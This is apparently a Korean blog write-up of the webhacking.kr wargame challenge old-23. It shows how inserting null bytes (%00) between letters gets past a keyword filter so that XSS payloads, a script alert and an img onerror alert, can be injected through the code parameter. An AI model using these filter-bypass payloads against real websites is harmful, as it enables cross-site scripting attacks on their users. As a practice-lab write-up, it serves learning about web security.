본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-23

 

Write-Up

 

해당 문제의 미션은 Your mission is to inject <script>alert(1);</script> 인 것을 알 수 있다. 먼저 HTML Entity Encoding 처리로 인한 스크립트 실행 가능 여부를 파악한다. 

 

<b>1</b>

 

<b> 태그 삽입이 되는 것을 확인하였다. 즉, 태그 자체가 encoding 처리되어 필터링되지는 않는다. 

 

<b>ab</b>

 

위처럼 영문자를 연속으로 입력 시, no hack과 같이 필터링되는 것을 볼 수 있다. 즉, 이를 우회해야 한다. 

 

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>

 

위 injection code를 입력 창에 넣어보았으나, URL encoding 되어 GET 방식으로 전달된 덕에 아래와 같은 결과를 얻게 된다. 

 

그림 1

 

그래서 아래와 같이 URL 창의 code 파라미터에 값을 직접 전달해준다. 

 

그림 2

 

참고

 

code=<i%00m%00g%20s%00r%00c=1%20o%00n%00e%00r%00r%00o%00r=a%00l%00e%00r%00t(1)>

 

잠깐 헷갈렸던 것이 null 문자와 %20은 다르다는 것!이다.